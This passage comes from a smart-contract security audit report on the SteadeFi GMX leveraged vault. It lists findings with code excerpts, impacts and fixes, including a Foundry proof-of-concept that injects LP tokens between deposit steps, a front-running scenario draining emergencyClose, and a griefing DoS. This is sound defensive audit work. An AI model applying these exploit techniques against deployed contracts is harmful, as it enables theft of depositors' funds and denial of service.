Same for the withdraw. When withdraw is called, then shares are not burnt. They are burnt inside processWithdraw function. So in case if burn is done before feeMint is called, then this removed shares doesn't pay management fee.
And last place is GMXEmergency.emergencyWithdraw. This function also burns shares, which means that mintFee should be called before it.
Incorrect fee payment is done, depending on the situation users or protocol will suffer.
VsCode
Consider call mintFee for all these cases that i have described.
Submitted by rvierdiiev, 0xCiphky, pontifex. Selected submission by: 0xCiphky.
The protocol charges a management fee based on the feePerSecond variable, which dictates the rate at which new vault tokens are minted as fees via the mintFee function. An administrative function updateFeePerSecond allows the owner to alter this fee rate. However, the current implementation does not account for accrued fees before the update, potentially leading to incorrect fee calculation.
The contract's logic fails to account for outstanding fees at the old rate prior to updating the feePerSecond. As it stands, the updateFeePerSecond function changes the fee rate without triggering a mintFee, which would update the lastFeeCollected timestamp and mint the correct amount of fees owed up until that point.
function updateFeePerSecond(uint256 feePerSecond) external onlyOwner {
_store.feePerSecond = feePerSecond;
emit FeePerSecondUpdated(feePerSecond);
}
Scenario Illustration:
mintFee and setting lastFeeCollected to the current block.timestamp.mintFee calls occur.updateFeePerSecond to increase the fee by 10%.mintFee now calculates fees since lastFeeCollected using the new, higher rate, incorrectly applying it to the period before the rate change.The impact is twofold:
feePerSecond results in excessively high fees charged for the period before the update.feePerSecond leads to lower-than-expected fees for the same duration.Manual Analysis
Ensure the fees are accurately accounted for at their respective rates by updating lastFeeCollected to the current timestamp prior to altering the feePerSecond. This can be achieved by invoking mintFee within the updateFeePerSecond function to settle all pending fees first:
function updateFeePerSecond(uint256 feePerSecond) external onlyOwner {
self.vault.mintFee();
_store.feePerSecond = feePerSecond;
emit FeePerSecondUpdated(feePerSecond);
}
Submitted by larsson, Tripathi. Selected submission by: Tripathi.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/ChainlinkARBOracle.sol#L210
Steadefi checks for historical data to make sure that last price update are within maximum delya allowed and in the range of maximum % deviation allowed.
But checking the historical data is incorrect according to the chainlink docs which can damage some serious logic with in the protcol
Vault calls ChainlinkARBOracle.consult(token) to get the fair price from chainlink oracle
File:
function consult(address token) public view whenNotPaused returns (int256, uint8) {
address _feed = feeds[token];
if (_feed == address(0)) revert Errors.NoTokenPriceFeedAvailable();
ChainlinkResponse memory chainlinkResponse = _getChainlinkResponse(_feed);
ChainlinkResponse memory prevChainlinkResponse = _getPrevChainlinkResponse(_feed, chainlinkResponse.roundId);//@audit incorrect way to get historical data
if (_chainlinkIsFrozen(chainlinkResponse, token)) revert Errors.FrozenTokenPriceFeed();
if (_chainlinkIsBroken(chainlinkResponse, prevChainlinkResponse, token)) revert Errors.BrokenTokenPriceFeed();
return (chainlinkResponse.answer, chainlinkResponse.decimals);
}
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/ChainlinkARBOracle.sol#L62
which calls an interval function _getPrevChainlinkResponse() and try to fetch previous roundId price and other details
function _getPrevChainlinkResponse(address _feed, uint80 _currentRoundId) internal view returns (ChainlinkResponse memory) {
ChainlinkResponse memory _prevChainlinkResponse;
(
uint80 _roundId,
int256 _answer,
/* uint256 _startedAt */,
uint256 _timestamp,
/* uint80 _answeredInRound */
) = AggregatorV3Interface(_feed).getRoundData(_currentRoundId - 1);
_prevChainlinkResponse.roundId = _roundId;
_prevChainlinkResponse.answer = _answer;
_prevChainlinkResponse.timestamp = _timestamp;
_prevChainlinkResponse.success = true;
return _prevChainlinkResponse;
}
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/oracles/ChainlinkARBOracle.sol#L210
But this is incorrect way of fetching historical data. chainlink docs say: `Oracles provide periodic data updates to the aggregators. Data feeds are updated in rounds. Rounds are identified by their roundId, which increases with each new round. This increase may not be monotonic. Knowing the roundId of a previous round allows contracts to consume historical data.
The examples in this document name the aggregator roundId as aggregatorRoundId to differentiate it from the proxy roundId.` check here
so it is not mendatory that there will be valid data for currentRoundID-1.
if there is not data for currentRooundId-1 then _badPriceDeviation(currChainlinkResponse,PrevResponse) check here will return true. Hence vault won't able to get the price of token at some specific times
Manual Review
As chainlink docs says. Increase in roundId may not be monotonic so loop through the previous roundID and fetch the previoous roundId data
pseudo code
iterate (from roundId-1 to untill we get previous first data corressponding to roundID){
if(data present for roundID){
fetch the data and return
}else{
again iterate to get the data
}
}
Submitted by TheSchnilch.
When a token is deposited/withdrawn in a vault, it happens in two steps. In the first step, some states of the vault are saved, which are partially important for the second step, and a request to deposit/withdraw is made to GMX. In the second step, GMX calls the callback function, and the vault completes the deposit/withdrawal. The problem is that one can send LP tokens to the contract between these two steps, causing the vault to behave unintentionally.
Here is a PoC for the effects when sending lpTokens between the two steps during deposit:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;
import { console, console2 } from "forge-std/Test.sol";
import { TestUtils } from "../../helpers/TestUtils.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { GMXMockVaultSetup } from "./GMXMockVaultSetup.t.sol";
import { GMXTypes } from "../../../contracts/strategy/gmx/GMXTypes.sol";
import { GMXTestHelper } from "./GMXTestHelper.sol";
import { IDeposit } from "../../../contracts/interfaces/protocols/gmx/IDeposit.sol";
import { IEvent } from "../../../contracts/interfaces/protocols/gmx/IEvent.sol";
contract GMXDepositTest is GMXMockVaultSetup, GMXTestHelper, TestUtils {
function test_POC2() public {
uint256 lpAmtUser1 = 0.000005e18; //~400$ (because price of lpToken = 79990000$)
//In the setup, the owner receives a few lpTokens, which are now sent to user1 for testing the token injection
vm.startPrank(owner);
IERC20(address(WETHUSDCpair)).transfer(address(user1), lpAmtUser1);
vm.stopPrank();
//Owner deposits in Vault
vm.startPrank(owner);
_createDeposit(address(WETH), 10 ether, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
//Variable for Assertion
(,uint256 debtAmtTokenBBefore) = vault.debtAmt();
vm.startPrank(user1);
_createDeposit(address(WETH), 0.1 ether, 0, SLIPPAGE, EXECUTION_FEE); //User1 creates deposit. The 0.1 ether is being leveraged
IERC20(address(WETHUSDCpair)).transfer(address(vault), lpAmtUser1); //User1 injects lp-tokens between createDeposit and processDeposit. They are not leveraged
vm.stopPrank();
//In step one, the equity was saved before the deposit. The equity depends on the LP amount and the debts to the lending Vaults. In step two,
//the saved equity is used alongside the current equity to calculate how many Vault shares a user receives. This way, user1 receives shares
//for their injected tokens that do not have any leverage.(so no borrowing from the lending vaults was done for these tokens)
mockExchangeRouter.executeDeposit(address(WETH), address(USDC), address(vault), address(callback));
//User1 withdraws all his tokens.
uint256 vaultSharesAmount = IERC20(address(vault)).balanceOf(user1);
vm.startPrank(user1);
//In the case of a withdrawal, the debts to the LendingVaults are also repaid. Since it is assumed that all tokens have been leveraged, there
//is a mistaken repayment to the lending vaults for the injected tokens as well.
_createAndExecuteWithdrawal(address(WETH), address(USDC), address(USDC), vaultSharesAmount, 0, SLIPPAGE, EXECUTION_FEE);
vm.stopPrank();
//Variable for Assertion
(,uint256 debtAmtTokenBAfter) = vault.debtAmt();
//After User1 withdrew their LP tokens, the debt amount for TokenB would normally be approximately the same as it was before User1 deposited.
//However, due to the unleveraged tokens, more debt was repaid, resulting in a lower debt and, consequently, lower leverage than before.
assert(debtAmtTokenBBefore - 750e6 > debtAmtTokenBAfter); //750e6 == $750. This is to show that the debt is significantly less than before
console.log("debtAmtTokenBBefore: %s", debtAmtTokenBBefore);
console.log("debtAmtTokenBAfter: %s", debtAmtTokenBAfter);
}
}
Since the user can withdraw their injected tokens, which they received VaultShares for, they could execute this action multiple times to further worsen the tokenB debt amount and, consequently, the leverage.
The POC can be started with this command: forge test --match-test test_POC2 -vv
When withdrawing, LP tokens can also be injected between the two steps. This can be exploited by an attacker because he can fail the afterWithdrawChecks if he sends the same amount of lp tokens that a user wants to withdraw.
Here is the check that the attacker could exploit by sending enough tokens to make the lpAmt as large as it was before the withdrawal:
File: GMXChecks.sol#afterWithdrawChecks
207: if (GMXReader.lpAmt(self) >= self.withdrawCache.healthParams.lpAmtBefore)
208: revert Errors.InsufficientLPTokensBurned();
Since, if this bug is exploited during deposit, an attacker can decrease the leverage, it results in users of the vault having less leverage and lower yield.
When withdrawing, the attacker can potentially cause the withdrawal to fail, but the user doesn't lose anything and can try again.
VSCode, Foundry
In the deposit function, the depositValue should be used to determine approximately how many lpTokens GMX will be transferred to the vault. This number should then be compared to the actual received amount in processDeposit.
In the case of withdrawal, after calling removeLiquidity, the lpAmt should be stored, and this should be compared to the lpAmt in the processWithdraw function to determine whether tokens were injected.
withdraw_failed status if the deposit to GMX get CancelledSubmitted by ElHaj.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXWithdraw.sol
GMX get canceled after a failed withdrawal, the contract stuck in the withdraw_failed status.withdraw_failed is set when the vault successfully withdrew from GMX, but the callback failed during the processWithdraw() checks inside the try call, as seen here: function processWithdraw(GMXTypes.Store storage self) external {
GMXChecks.beforeProcessWithdrawChecks(self);// revert if status not withdraw
try GMXProcessWithdraw.processWithdraw(self) {
////... some code
} catch (bytes memory reason) {
// withdraw failed only can be set here .
>> self.status = GMXTypes.Status.Withdraw_Failed;
emit WithdrawFailed(reason);
}
}
the keeper listens to events in this scenario, it calls the processWithdrawFailure() function. This function reborrows the same amount's :
function processWithdrawFailure(GMXTypes.Store storage self, uint256 slippage, uint256 executionFee) external {
GMXChecks.beforeProcessAfterWithdrawFailureChecks(self);
// Re-borrow assets based on the repaid amount
>> GMXManager.borrow(
self, self.withdrawCache.repayParams.repayTokenAAmt, self.withdrawCache.repayParams.repayTokenBAmt
);
//......
}
it then add liquidity to gmx :
function processWithdrawFailure(GMXTypes.Store storage self, uint256 slippage, uint256 executionFee) external {
GMXChecks.beforeProcessAfterWithdrawFailureChecks(self);
// Re-borrow assets based on the repaid amount
GMXManager.borrow(
self, self.withdrawCache.repayParams.repayTokenAAmt, self.withdrawCache.repayParams.repayTokenBAmt
);
// .... some code
// Re-add liquidity with all tokenA/tokenB in vault
>> self.withdrawCache.depositKey = GMXManager.addLiquidity(self, _alp);
}
The problem arises when adding liquidity to GMX is canceled, there is no mechanism to handle this scenario when the status is withdraw_failed. In this case, the callback will revert, as seen here, leaving the tokens from the first withdrawal + borrowed tokens stuck in the contract with the withdraw_failed status.
In this situation, the only available action to interact with the contract is to call processWithdrawFailure() again (or emergencyPause).
Even if the keeper can call this without any event listening, doing so exacerbates the situation. It results in a loop of
borrow more => add liquidity => get canceled, continuing until there are no more funds to borrow or the keeper runs out of gas.
capacity before borrowing. This results in repeated reverting transactions since the amount the keeper want to borrow is more then the amount available in the lending contract.vs code.
afterWithdrawalCancellation() function of the callback contract, implement proper handling for canceled liquidity addition when the status is withdraw_Failed.compound_failed statusSubmitted by ElHaj.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXCompound.sol
the compound function allows the keeper to swap a token for TokenA or TokenB and add it as liquidity to GMX. However, if the deposit get cancelled, the contract enters a compound_failed status. leading to a deadlock and preventing further protocol interactions.
-The compound function is invoked by the keeper to swap a token held by the contract (e.g., from an airdrop as sponsor said) for TokenA or TokenB. Initially, it exchanges this token for either tokenA or tokenB and sets the status to compound. Then, it adds the swapped token as liquidity to GMX by creating a deposit:
function compound(GMXTypes.Store storage self, GMXTypes.CompoundParams memory cp) external {lt
if (self.tokenA.balanceOf(address(self.trove)) > 0) {
self.tokenA.safeTransferFrom(address(self.trove), address(this), self.tokenA.balanceOf(address(self.trove)));
}
if (self.tokenB.balanceOf(address(self.trove)) > 0) {
self.tokenB.safeTransferFrom(address(self.trove), address(this), self.tokenB.balanceOf(address(self.trove)));
}
>> uint256 _tokenInAmt = IERC20(cp.tokenIn).balanceOf(address(this));
// Only compound if tokenIn amount is more than 0
if (_tokenInAmt > 0) {
self.refundee = payable(msg.sender); // the msg.sender is the keeper.
self.compoundCache.compoundParams = cp; // storage update.
ISwap.SwapParams memory _sp;
_sp.tokenIn = cp.tokenIn;
_sp.tokenOut = cp.tokenOut;
_sp.amountIn = _tokenInAmt;
_sp.amountOut = 0; // amount out minimum calculated in Swap
_sp.slippage = self.minSlippage; // minSlipage may result to a revert an cause the tokens stays in this contract.
_sp.deadline = cp.deadline;
GMXManager.swapExactTokensForTokens(self, _sp); // return value not checked.
GMXTypes.AddLiquidityParams memory _alp;
_alp.tokenAAmt = self.tokenA.balanceOf(address(this));
_alp.tokenBAmt = self.tokenB.balanceOf(address(this));
/// what this return in case zero balance?? zero
self.compoundCache.depositValue = GMXReader.convertToUsdValue(
self, address(self.tokenA), self.tokenA.balanceOf(address(this))
) + GMXReader.convertToUsdValue(self, address(self.tokenB), self.tokenB.balanceOf(address(this)));
// revert if zero value, status not open or compound_failed , executionFee < minExecutionFee.
GMXChecks.beforeCompoundChecks(self);
>> self.status = GMXTypes.Status.Compound;
_alp.minMarketTokenAmt =
GMXManager.calcMinMarketSlippageAmt(self, self.compoundCache.depositValue, cp.slippage);
_alp.executionFee = cp.executionFee;
>> self.compoundCache.depositKey = GMXManager.addLiquidity(self, _alp);
}
open again. However, if the deposit is cancelled, the callback will call processCompoundCancellation() function and the status will be set to compound_failed as shown in the following code: function processCompoundCancellation(GMXTypes.Store storage self) external {
GMXChecks.beforeProcessCompoundCancellationChecks(self);
self.status = GMXTypes.Status.Compound_Failed;
emit CompoundCancelled();
}
compound_failed. In this scenario, only the compound function can be called again and only by the keeper, but the tokens have already been swapped for TokenA or TokenB (Because we successfully create a deposit in GMX that means the swap was successfull). Consequently, the amountIn will be zero, and in this case the compound logic will be skipped.>> uint256 _tokenInAmt = IERC20(cp.tokenIn).balanceOf(address(this));
// Only compound if tokenIn amount is more than 0
>> if (_tokenInAmt > 0) {
//compound logic
//....
}
compound_failed, leading to a deadlock. If keeper continue to call this function, no progress will be made, only gas will be wasted. Furthermore, all interactions with the protocol are impossible since the status is compound_failed.compond_failed status. prevent any interaction with the protocolmanual review
deposit_failed status .Submitted by ElHaj.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol
When a deposit fails, the contract can become stuck in a deposit_failed status due to improper handling of debt repayment by swapping through the swapTokensForExactTokens() function.which leads to gas losses for keeper attempting to handle that and puts user deposits at risk.
strategy, it will create a deposit in GMX. After a successful deposit, GMX will call the callback function afterDepositExecution, and the callback function will call processDeposit.processDeposit() fails in the try call for any reason, the function will catch that and set the status to deposit_failed. An event will be emitted so the keeper can handle it. function processDeposit(GMXTypes.Store storage self) external {
// some code ..
>> try GMXProcessDeposit.processDeposit(self) {
// ..more code
} catch (bytes memory reason) {
>> self.status = GMXTypes.Status.Deposit_Failed;
emit DepositFailed(reason);
}
}
requestWithdraw to GMX to remove the liquidity added by the user deposit (+ the borrowed amount).removeLiquidity, the callback function afterWithdrawalExecution is triggered. and since the status is deposit_failed, it invokes the function processDepositFailureLiquidityWithdrawal.processDepositFailureLiquidityWithdrawal, it first checks if a swap is necessary. If required, it swaps tokens to repay the debt.
>> (bool _swapNeeded, address _tokenFrom, address _tokenTo, uint256 _tokenToAmt) =
GMXManager.calcSwapForRepay(self, _rp);
if (_swapNeeded) {
ISwap.SwapParams memory _sp;
_sp.tokenIn = _tokenFrom;
_sp.tokenOut = _tokenTo;
_sp.amountIn = IERC20(_tokenFrom).balanceOf(address(this));
_sp.amountOut = _tokenToAmt;
_sp.slippage = self.minSlippage;
_sp.deadline = block.timestamp;
>> GMXManager.swapTokensForExactTokens(self, _sp);
}
The problem arises if the swap revert if the tokenIn balance is insufficient to cover the _amountOut of _tokenOut, leading to a failed swap since the swap function is swapTokensForExactTokens. Consequently, the status remains deposit_failed and the callback revet.
Note: The swap can fail for various reasons.
In this scenario, the keeper can only invoke the processDepositFailure() function again. During the second call, it directly triggers processDepositFailureLiquidityWithdrawal since the lp tokens for the failed deposit has already been withdrawn.
function processDepositFailure(GMXTypes.Store storage self, uint256 slippage, uint256 executionFee) external {
GMXChecks.beforeProcessAfterDepositFailureChecks(self);
GMXTypes.RemoveLiquidityParams memory _rlp;
// If current gmx LP amount is somehow less or equal to amount before, we do not remove any liquidity
if (GMXReader.lpAmt(self) <= self.depositCache.healthParams.lpAmtBefore) {
>> processDepositFailureLiquidityWithdrawal(self);
//... more code
}}
tokenIn will never be sufficient to cover the _amountOut of _tokenOut. Consequently, the status remains stuck at deposit_failed.deposit_failed status, halting any further interactions with the protocol.processDepositFailure().vs code manual review
swapExactTokensForTokens and swap the remaining tokens from tokenIn after substracting debt need to be repaid of this token.for tokenOut. if (rp.repayTokenAAmt > self.tokenA.balanceOf(address(this))) {
// If more tokenA is needed for repayment
if(rp.repayTokenBAmt < self.tokenB.balanceOf(address(this))){
_tokenToAmt = self.tokenB.balanceOf(address(this)) - rp.repayTokenBAmt;
_tokenFrom = address(self.tokenB);
_tokenTo = address(self.tokenA);
}
}
equity = 0Submitted by ElHaj.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXReader.sol#L48
The vulnerability in the valueToShares function exposes users to significant losses in case the equity (currentAllAssetValue - debtBorrowed) becomes zero due to strategy losses, users receive disproportionately low shares, and take a loss Immediately.
value = equityAfter - equityBefore, while:equity = totalAssetValue - totalDebtValue.
and we can see that here : function processDeposit(GMXTypes.Store storage self) external {
self.depositCache.healthParams.equityAfter = GMXReader.equityValue(self);
>> self.depositCache.sharesToUser = GMXReader.valueToShares(
self,
self.depositCache.healthParams.equityAfter - self.depositCache.healthParams.equityBefore,
self.depositCache.healthParams.equityBefore
);
GMXChecks.afterDepositChecks(self);
}
// value to shares function :
function valueToShares(GMXTypes.Store storage self, uint256 value, uint256 currentEquity)
public
view
returns (uint256)
{
uint256 _sharesSupply = IERC20(address(self.vault)).totalSupply() + pendingFee(self); // shares is added
>> if (_sharesSupply == 0 || currentEquity == 0) return value;
>> return value * _sharesSupply / currentEquity;
}
0, the shares minted to the user equal the deposited value itself. The equity value can become zero due to various factors such as strategy losses or accumulated lending interests... ectsvToken (shares).svToken is (1,000,000 * 1e18) (indicating users holding these shares).100 * 100 * 1e18 / 1,000,000 = 0.001 USD (value * equity / totalSupply).Notice: If the total supply is higher, the user loses more value, and vice versa.
manual review
Submitted by AngryMustacheMan, ElHaj, hash. Selected submission by: ElHaj.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXEmergency.sol#L111
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol#L317
emergencyClose() can lead to complete investment loss, The same issue observed in other functions (processDepositFailureLiquidityWithdrawal and processWithdraw) but with less impact.The emergencyClose() function repays all debt to the lendingVault contract, then sets the status to closed. Subsequently, users who deposited into the strategy contract can withdraw their deposits.
If the contract balance of one token is insufficient to cover its debt, the contract swaps the other token for the necessary amount using swapTokensForExactTokens.
function emergencyClose(GMXTypes.Store storage self, uint256 deadline) external {
// some code ..
//...
// Repay all borrowed assets; 1e18 == 100% shareRatio to repay
GMXTypes.RepayParams memory _rp;
(_rp.repayTokenAAmt, _rp.repayTokenBAmt) = GMXManager.calcRepay(self, 1e18);
(bool _swapNeeded, address _tokenFrom, address _tokenTo, uint256 _tokenToAmt) =
GMXManager.calcSwapForRepay(self, _rp);
if (_swapNeeded) {
ISwap.SwapParams memory _sp;
_sp.tokenIn = _tokenFrom;
_sp.tokenOut = _tokenTo;
_sp.amountIn = IERC20(_tokenFrom).balanceOf(address(this));
_sp.amountOut = _tokenToAmt;
_sp.slippage = self.minSlippage;
_sp.deadline = deadline;
// @audit-issue : this can be front-run to return
>> GMXManager.swapTokensForExactTokens(self, _sp);
}
// more code ....
//.....
}
_sp struct includes the _sp.slippage parameter. Here, _sp.amountIn represents the entire contract balance of tokenFrom, while _sp.amountOut represent only the necessary amount to settle the debt of tokenTo. This function is vulnerable to front-running if the contract's tokenFrom balance exceeds the required amount to swap for amountOut of tokenTo. In such cases, all remaining tokens from _tokenFrom can be stolen in a front-run attack, as the _sp.slippage parameter has no effect in this scenario and we can see that here :GMXManager.swapTokensForExactTokens(self, _sp) function swapTokensForExactTokens(GMXTypes.Store storage self, ISwap.SwapParams memory sp)
external
returns (uint256)
{
if (sp.amountIn > 0) {
return GMXWorker.swapTokensForExactTokens(self, sp);
} else {
return 0;
}
}
GMXWorker.swapTokensForExactTokens(self, sp); function swapTokensForExactTokens(GMXTypes.Store storage self, ISwap.SwapParams memory sp)
external
returns (uint256)
{
IERC20(sp.tokenIn).approve(address(self.swapRouter), sp.amountIn);
return self.swapRouter.swapTokensForExactTokens(sp);
}
self.swapRouter.swapTokensForExactTokens(sp) function swapTokensForExactTokens(ISwap.SwapParams memory sp) external returns (uint256) {
IERC20(sp.tokenIn).safeTransferFrom(msg.sender, address(this), sp.amountIn);
IERC20(sp.tokenIn).approve(address(router), sp.amountIn);
ISwapRouter.ExactOutputSingleParams memory _eosp = ISwapRouter.ExactOutputSingleParams({
tokenIn: sp.tokenIn,
tokenOut: sp.tokenOut,
fee: fees[sp.tokenIn][sp.tokenOut],
recipient: address(this),
deadline: sp.deadline,
amountOut: sp.amountOut,
amountInMaximum: sp.amountIn,
sqrtPriceLimitX96: 0
});
uint256 _amountIn = router.exactOutputSingle(_eosp);
// Return sender back any unused tokenIn
IERC20(sp.tokenIn).safeTransfer(msg.sender, IERC20(sp.tokenIn).balanceOf(address(this)));
IERC20(sp.tokenOut).safeTransfer(msg.sender, IERC20(sp.tokenOut).balanceOf(address(this)));
return _amountIn;
}
notice that the function swapTokensForExactTokens calls exactOutputSingle from uniswap router and the _sp.slipage have no effect .
the vault faces a significant risk, losing all remaining assets, which primarily consist of depositors' funds. This vulnerability is exacerbated by the Vault contract withdrawing liquidity from GMX without performing any swaps during the emergencyPause action, leaving withdrawed liquidity in terms of both tokens and making swaps in emergencyClose will be almost always necessary.
The same vulnerability also exists in the processDepositFailureLiquidityWithdrawal and processWithdraw functions. However, the impact in the emergencyClose() function is significantly more severe compared to these cases. but the vulnerability is the same.
consider the following sinario :
assume that The vault is a long vault has a debt of 10000 tokenA.
When the contract paused, it withdrawed 5000 tokenA and 10000 tokenB. so The contract still needs 5000 tokenA to cover all the debt.
The contract attempts to swap a maximum of tokenB to obtain the required 5000 tokenA. Typically, this swap requires 6000 tokenB to yield 5000 tokenA. After the swap, there are 4000 tokenB left, representing users deposits. These deposits can only be redeemed after the debt is settled.
The amountIn parameter is set to 10000 tokenB. A malicious actor exploit this by front-running the swap, inflating the price. The contract ends up swapping 10000 tokenB for 5000 tokenA and repays the debt.
After the swap and debt repayment, the vault's balance becomes zero, leaving no funds to cover user deposits.
NOTICEDepositors' funds in this case are always will be in terms oftokenFrom(or tokenB in our example), ensuring consistent losses.
- In a Neutral strategy, the attacker must keep enoughtokenFromto the contract to paytokenFromdebt to prevent transaction from revert and only take all the depositors funds.
emergencyClose() all depositors loses all thier deposits .minTokenOut he will get but still possible that the user lose his funds if he misspass the right amount.vs code
manual review
amountIn swapped for amountOut Get swapped for a reasonable price(in a specific buffer) using chainlink Oracle and if not revert.Submitted by Cosine.
The protocol has chosen a design pattern which does not allow two users at the same time to interact with the system as every time a user deposits or withdraws funds a 2-step process begins which interacts with GMX and only after this process is closed, another user is allowed to start a new process. This design pattern can be abused as griefing attack by front running all user calls with a small deposit, or withdraw call, to DoS the user's call. As the protocol is deployed on L2 blockchains with low transaction fees and does not take fees on depositing or withdrawing funds, this DoS griefing attack is cheap and can be scaled to a point where nobody is able to interact with the system.
The design pattern of the system which leads to this possibility is the status variable.
The flow for such a griefing attack would look like the following:
Deposit function calls beforeDepositChecks and updates the status to Deposit:
function deposit(
GMXTypes.Store storage self,
GMXTypes.DepositParams memory dp,
bool isNative
) external {
...
GMXChecks.beforeDepositChecks(self, _dc.depositValue);
self.status = GMXTypes.Status.Deposit;
...
}
The beforeDepositChecks function reverts if the current status is not Open:
function beforeDepositChecks(
GMXTypes.Store storage self,
uint256 depositValue
) external view {
if (self.status != GMXTypes.Status.Open)
revert Errors.NotAllowedInCurrentVaultStatus();
...
}
The same pattern is implemented in the withdraw flow.
DoS of the whole system for all depositors.
Manual Review
Implement fees, for depositing and withdrawing, to increase the costs of such a griefing attack, or rethink the status architecture.
Submitted by Drynooo.
When a particular user deposit, if it is a case of executing processDepositCancellation after failing to add mobility. But the GMX callback is delayed for a period of time, during which the interest on the borrowed money will be borne by the user already in the vault, which is clearly unfair.
When the processDepositCancellation function is executed, the repayment amounts are borrowTokenAAmt and borrowTokenBAmt. However, if there is a large delay in the GMX callback and more interest has been incurred, this interest is borne by the user in the vault. This situation, if it happens from time to time, accumulates to be a loss for the borrowing user.
function processDepositCancellation(
GMXTypes.Store storage self
) external {
GMXChecks.beforeProcessDepositCancellationChecks(self);
// Repay borrowed assets
GMXManager.repay(
self,
self.depositCache.borrowParams.borrowTokenAAmt,
self.depositCache.borrowParams.borrowTokenBAmt
);
The same applies to other cases where repayment is made after borrowing but there may be delays during the period.
Users who borrow may pay more in interest.
manual
It is recommended to start calculating interest only after the liquidity has been successfully added.
Submitted by 0xCiphky.
The emergencyResume function is intended to recover the vault's liquidity following an emergencyPause. It operates under the assumption of a successful deposit call. However, if the deposit call is cancelled by GMX, the emergencyResume function does not account for this scenario, potentially locking funds.
When emergencyResume is invoked, it sets the vault's status to "Resume" and deposits all LP tokens back into the pool. The function is designed to execute when the vault status is "Paused" and can be triggered by an approved keeper.
function emergencyResume(
GMXTypes.Store storage self
) external {
GMXChecks.beforeEmergencyResumeChecks(self);
self.status = GMXTypes.Status.Resume;
self.refundee = payable(msg.sender);
GMXTypes.AddLiquidityParams memory _alp;
_alp.tokenAAmt = self.tokenA.balanceOf(address(this));
_alp.tokenBAmt = self.tokenB.balanceOf(address(this));
_alp.executionFee = msg.value;
GMXManager.addLiquidity(
self,
_alp
);
}
Should the deposit fail, the callback contract's afterDepositCancellation is expected to revert, which does not impact the continuation of the GMX execution. After the cancellation occurs, the vault status is "Resume", and the liquidity is not re-added to the pool.
function afterDepositCancellation(
bytes32 depositKey,
IDeposit.Props memory /* depositProps */,
IEvent.Props memory /* eventData */
) external onlyController {
GMXTypes.Store memory _store = vault.store();
if (_store.status == GMXTypes.Status.Deposit) {
if (_store.depositCache.depositKey == depositKey)
vault.processDepositCancellation();
} else if (_store.status == GMXTypes.Status.Rebalance_Add) {
if (_store.rebalanceCache.depositKey == depositKey)
vault.processRebalanceAddCancellation();
} else if (_store.status == GMXTypes.Status.Compound) {
if (_store.compoundCache.depositKey == depositKey)
vault.processCompoundCancellation();
} else {
revert Errors.DepositCancellationCallback();
}
}
Given this, another attempt to execute emergencyResume will fail because the vault status is not "Paused".
function beforeEmergencyResumeChecks (
GMXTypes.Store storage self
) external view {
if (self.status != GMXTypes.Status.Paused)
revert Errors.NotAllowedInCurrentVaultStatus();
}
In this state, an attempt to revert to "Paused" status via emergencyPause could fail in GMXManager.removeLiquidity, as there are no tokens to send back to the GMX pool, leading to a potential fund lock within the contract.
The current implementation may result in funds being irretrievably locked within the contract.
Manual Analysis
To address this issue, handle the afterDepositCancellation case correctly by allowing emergencyResume to be called again.
Submitted by hash, 0xmuxyz. Selected submission by: 0xmuxyz.
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol#L119
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXVault.sol#L335
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol#L172
The fee-minted in the form of shares (svTokens) would not be subtracted from the amount of shares (svTokens) to be minted to the GMXVault's depositor.
Due to that, a depositor of the GMXVault could receive the amount of the shares (svTokens), which the amount of the fee-minted in the form of the shares (svTokens) via the GMXDeposit#mintFee() was not subtracted.
This means that a depositor of the GMXVault can bypass paying the fee when the depositor deposit into the GMXVault.
Within the GMXDeposit#deposit(), the GMXVault#mintFee() would be called to mint the fee in the form of the svTokens like this:
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol#L119
/**
* @notice @inheritdoc GMXVault
* @param self GMXTypes.Store
* @param isNative Boolean as to whether user is depositing native asset (e.g. ETH, AVAX, etc.)
*/
function deposit(
GMXTypes.Store storage self,
GMXTypes.DepositParams memory dp,
bool isNative
) external {
...
self.status = GMXTypes.Status.Deposit;
self.vault.mintFee(); ///<----------------------- @audit
...
Within the GMXVault#mintFee(), the amount (GMXReader.pendingFee(_store)) of the shares would be minted to the treasury (_store.treasury) in the form of the svTokens like this:
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXVault.sol#L335
/**
* @notice Mint vault token shares as management fees to protocol treasury
*/
function mintFee() public {
_mint(_store.treasury, GMXReader.pendingFee(_store)); ///<------------ @audit
_store.lastFeeCollected = block.timestamp;
}
When callback of deposit, the the GMXDeposit#processDeposit() would be called via the GMXVault#deposit().
Within the GMXDeposit#processDeposit(), the amount (self.depositCache.sharesToUser) of shares (VaultTokens) would be minted to the GMXVault's depositor (self.depositCache.user) like this:
https://github.com/Cyfrin/2023-10-SteadeFi/blob/main/contracts/strategy/gmx/GMXDeposit.sol#L172
/**
* @notice @inheritdoc GMXVault
* @param self GMXTypes.Store
*/
function processDeposit(
GMXTypes.Store storage self
) external {
GMXChecks.beforeProcessDepositChecks(self);
// We transfer the core logic of this function to GMXProcessDeposit.processDeposit()
// to allow try/catch here to catch for any issues or any checks in afterDepositChecks() failing.
// If there are any issues, a DepositFailed event will be emitted and processDepositFailure()
// should be triggered to refund assets accordingly and reset the vault status to Open again.
try GMXProcessDeposit.processDeposit(self) {
// Mint shares to depositor
